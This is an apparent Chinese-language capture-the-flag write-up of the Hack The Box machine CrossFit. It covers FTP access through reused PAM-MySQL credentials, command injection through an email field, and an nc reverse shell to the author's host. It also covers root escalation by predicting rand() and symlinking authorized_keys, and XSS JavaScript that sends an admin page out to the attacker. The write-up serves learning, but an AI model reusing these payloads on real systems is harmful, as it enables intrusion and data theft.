# DB_USERNAME=ftphosting
# DB_PASSWORD=}2WZk.X;u{L>V

连一下数据库

1
mysql -uftphosting -p"}2WZk.X;u{L>V"

看了一下 accounts 表开始反思,xss+csrf 利用的ftp 是个web页面,数据是插入数据库的,那我是怎么通过 vsftp 连上去的咧 ?

看一下 ftp 相关用户

1
2
3
4
5
cat /etc/passwd

# ftp:x:108:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
# vsftpd:x:1002:1002::/var/vsftpd:/bin/false
# ftpadm:x:1003:1004::/srv/ftp:/usr/sbin/nologin

看一下配置文件,提取一下主要的

1
2
3
4
5
find /etc/ | grep ftp
# /etc/ftpusers
# /etc/vsftpd/user_conf/ftpadm
# /etc/pam.d/vsftpd
# /etc/vsftpd.conf

仔细对比了一下,这个 ftpadm 用户是一个真正的系统用户,和我们一开始通过 xss+ccsrf 创建的 ftp 用户有些许不一样(存在数据库里的)

看下配置文件 /etc/vsftpd.conf

1
2
3
local_enable=YES
pam_service_name=vsftpd
user_config_dir=/etc/vsftpd/user_conf

参考vsftpd官方文档10

  • local_enable 表示可用 /etc/passwd 里的用户进行登录
  • pam_service_name 使用 pam进行认证,对应的文件在 /etc/pam.d/vsftpd
  • user_config_dir 详细配置特定用户

看下 pam 目录文件,奇奇怪怪的姿势增加了

1
cat /etc/pam.d/vsftpd

原来还可以通过 pam_mysql.so + MariaDB(MySQL) 认证 FTP

1
2
3
4
5
6
7
8
9
10
11
12
13
auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3
account sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3

# Standard behaviour for ftpd(8).
auth required pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed

# Note: vsftpd handles anonymous logins on its own. Do not enable pam_ftp.so.

# Standard pam includes
@include common-account
@include common-session
@include common-auth
auth required pam_shells.so

其中配置里的 sufficient 表示当该模块匹配成功后,不会继续匹配其他模块,如果匹配失败了会匹配其他模块。

也就是说这个 ftpadm 用户是用于连接MariaDB,然后读取其中的 ftphosting.accounts 表的 username 和 pass 字段,来判断我们通过 21 端口登录的用户密码是否正确。如果数据库认证失败了,会通过pam_unix.so 认证系统用户

然后最后一行 auth required pam_shells.so[11],就很关键了,即表示 /etc/shells记录可登入的shell类型,比如常见的有 /bin/zsh /bin/sh /bin/bash,看看 cat /etc/shells

1
2
3
4
5
6
7
8
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
/usr/sbin/nologin

震惊,竟然 /usr/sbin/nologin 也是可登录的,然后 ftpadm 用户也刚好是 /usr/sbin/nologin ,数据库的帐号密码刚好知道,user=ftpadm passwd=8W)}gpRJvAmnb,会不会这个用户的密码就是这个咧?

尝试一下 ftpadm/8W)}gpRJvAmnb

1
2
3
4
5
lftp
set ftp:ssl-force true
set ssl:verify-certificate no
connect 10.10.10.208
login tari tari

image-20210829210857205

登录进去了!

瞎猜一下,这个会不会就是 $msg_dir 的目录呢?

先上传个文件上去

image-20210829213142040

然后邮箱构造为

1
email=`touch${IFS}/tmp/pwn`@qq.com

image-20210829213225006

命令执行成功

image-20210829213258783

反弹个shell

1
email=`nc${IFS}10.10.14.39${IFS}2233${IFS}-e${IFS}/bin/bash`@qq.com

image-20210829225112602

顺便确认一下 $msg_dir

1
2
3
4
5
isaac@crossfit:~/send_updates$ cat includes/config.php
cat includes/config.php
<?php
$msg_dir = "/srv/ftp/messages";
?>

权限提升 - 获取root权限

传个 pspy64

1
2
chmod +x pspy64
./pspy64 -f

发现一个 dbmsg 在定期运行,反编译,发现如下代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void main(void)

{
__uid_t _Var1;
time_t tVar2;

_Var1 = geteuid();
if (_Var1 != 0) {
fwrite("This program must be run as root.\n",1,0x22,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
process_data();
/* WARNING: Subroutine does not return */
exit(0);
}

首先发现一个伪随机,然后数据库读操作,且数据库读取 message 表里的内容,然后把前三个字段写入 /var/local/md(时间戳) 路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
void process_data(void)

{
int iVar1;
uint uVar2;
long lVar3;
undefined8 uVar4;
size_t sVar5;
undefined local_f8 [48];
char local_c8 [48];
char local_98 [48];
undefined local_68 [28];
undefined4 local_4c;
long local_48;
FILE *local_40;
long *local_38;
long local_30;
long local_28;
long local_20;

local_20 = mysql_init(0);
if (local_20 == 0) {
fwrite("mysql_init() failed\n",1,0x14,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
lVar3 = mysql_real_connect(local_20,"localhost","crossfit","oeLoo~y2baeni","crossfit",0,0,0);
if (lVar3 == 0) {
exit_with_error(local_20);
}
iVar1 = mysql_query(local_20,"SELECT * FROM messages");
if (iVar1 != 0) {
exit_with_error(local_20);
}
local_28 = mysql_store_result(local_20);
if (local_28 == 0) {
exit_with_error(local_20);
}
local_30 = zip_open("/var/backups/mariadb/comments.zip",1,&local_4c);
if (local_30 != 0) {
while (local_38 = (long *)mysql_fetch_row(local_28), local_38 != (long *)0x0) {
if ((((*local_38 != 0) && (local_38[1] != 0)) && (local_38[2] != 0)) && (local_38[3] != 0)) {
lVar3 = *local_38;
uVar2 = rand();
snprintf(local_c8,0x30,"%d%s",(ulong)uVar2,lVar3);
sVar5 = strlen(local_c8);
md5sum(local_c8,sVar5 & 0xffffffff,local_f8);
snprintf(local_98,0x30,"%s%s","/var/local/",local_f8);
local_40 = fopen(local_98,"w");
if (local_40 != (FILE *)0x0) {
fputs((char *)local_38[1],local_40);
fputc(0x20,local_40);
fputs((char *)local_38[3],local_40);
fputc(0x20,local_40);
fputs((char *)local_38[2],local_40);
fclose(local_40);
if (local_30 != 0) {
printf("Adding file %s\n",local_98);
local_48 = zip_source_file(local_30,local_98,0);
if (local_48 == 0) {
uVar4 = zip_strerror(local_30);
fprintf(stderr,"%s\n",uVar4);
}
else {
lVar3 = zip_file_add(local_30,local_f8,local_48);
if (lVar3 < 0) {
zip_source_free(local_48);
uVar4 = zip_strerror(local_30);
fprintf(stderr,"%s\n",uVar4);
}
else {
uVar4 = zip_strerror(local_30);
fprintf(stderr,"%s\n",uVar4);
}
}
}
}
}
}
mysql_free_result(local_28);
delete_rows(local_20);
mysql_close(local_20);
if (local_30 != 0) {
zip_close(local_30);
}
delete_files();
return;
}
zip_error_init_with_code(local_68,local_4c);
uVar4 = zip_error_strerror(local_68);
fprintf(stderr,"%s\n",uVar4);
/* WARNING: Subroutine does not return */
exit(-1);
}

因为随机数为伪随机,用的标准库函数,我们如果也用C,在目标机器上执行,跟着一起执行,在相同时间生成的就是一样的。

这里写入的文件内容刚好为3个字段,我们可控,因 dbmsg 是root运行,我们可以写ssh认证公钥进去。因软连接是没有权限限制,只要我们执行了,他就会链接,那么我们可控的内容就可以写入免认证文件里了。

1
ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./exploit)1 | md5sum | cut -d " " -f 1)

遇到的问题

1、HTTP服务可以看到管理员来获取payload2.js,但nc就是接收不到数据,一接收立刻断开

构造以下payload请求链接 http://ftp.crossfit.htb/accounts/create,保存以下payload为payload2.js(下面 IP 变为 10.10.14.4 是因为openvpn断了,所以我本机IP变了)

1
2
3
4
5
6
7
8
9
10
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://10.10.14.4:2233/", false);
xhr2.send(this.responseText);
}
};
xhr.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
xhr.send();

像之前一样请求,不知为啥,这里卡了好久,服务端可以来我这获取 js代码,但是,nc就是接收不了,或者说是,nc接收到立刻退出,啥都没显示

image-20210814114833762

然后通过 tcpdump 抓包,发现能正常显示….

1
tcpdump -i utun2 host 10.10.14.4 and port 2233 -X

image-20210814114929839

麻了….

会不会是特殊字符影响了 nc 呢?payload2.js 改改

1
2
3
4
5
6
7
8
9
10
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
var xhr2 = new XMLHttpRequest();
xhr2.open("GET", "http://10.10.14.4:2233/" + btoa(this.responseText), true);
xhr2.send();
}
};
xhr.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
xhr.send();

啊这… 不应该呀,那前面的 POST 怎么收到的?(虽然前面也会偶尔退出,但还是能收到的)

image-20210814115200480

等等GET和POST… 难不成当POST请求体过大时,HTTP协议会变成分块传输? 然后 nc 识别分块有误,所以就退出了?

尝试了一下持续监听,除非用^C或 ^D强制退出

1
nc -lvk 0.0.0.0 2233

无果,还是没回显,有大佬知道解决方式的麻烦告知一下~

2、xhr同会话问题

设置 withCredentials = true 可以保证两个xhr请求他们在同一会话中,不是很清楚为啥…

根据浏览器的保护规则,跨域的时候我们创建的sessionId是不会被浏览器保存下来,也就是说,每一次的请求,服务器就会以为是一个新的人,而不是同一个人,当我们指定 withCredentials = true ,服务端会判断请求源是否在已配置的白名单中,如有,则返回 Access-Control-Allow-Origin ,浏览器看到服务端返回的源在可信范围内,则会保存sessionId,所以就保证了多个xhr请求在同一会话中。

3、PHP指定形数,传入的不是指定的形参

Command.php 代码:https://github.com/mikehaertl/php-shellcommand/releases/tag/1.6.0

看了半天看不出来,传入一个 $key$escape 应该有转义才对,把库拉下来,本机 debug 一下就破案了…

指定了$escape=true 这个参数,,但是传入的实际还是 $value ? 这么迷的,也就是说就算 $escape=true$escape 还是没有被传入… 然后 $value 传入了,导致 $key 没有被转移

image-20210828154704568

PHP5.6 和 PHP7.3都试过了,一样….

4、好像没设置httponly 但为啥抓不到cookie

GetShell后发现,本来就没有Cookie,只是管理员直接通过 127.0.0.1 去访问,我们外部没法直接访问

总结

好像环境经常有毛病?比如lftp不知为啥连不上,有时候数据接收不会来,,之类的 的

参考链接

[1] https://www.sqlsec.com/2017/07/nmap.html

[2] https://baike.baidu.com/item/SYN%E6%89%AB%E6%8F%8F/17658294

[3] https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies

[4] https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2019UNCTF

[5] https://wfuzz.readthedocs.io/en/latest/user/advanced.html#filter-language

[6] https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/open

[7] https://en.wikipedia.org/wiki/Crypt_(C)

[8] https://hashcat.net/wiki/doku.php?id=rule_based_attack

[9] https://snyk.io/vuln/SNYK-PHP-MIKEHAERTLPHPSHELLCOMMAND-538426

[10] https://security.appspot.com/vsftpd/vsftpd_conf.html

[11] https://linux.die.net/man/8/pam_shells

[12] https://www.hackthebox.eu/home/machines/writeup/277

https://0xdf.gitlab.io/2021/03/20/htb-crossfit.html

https://0xdedinfosec.github.io/posts/htb-crossfit/

评论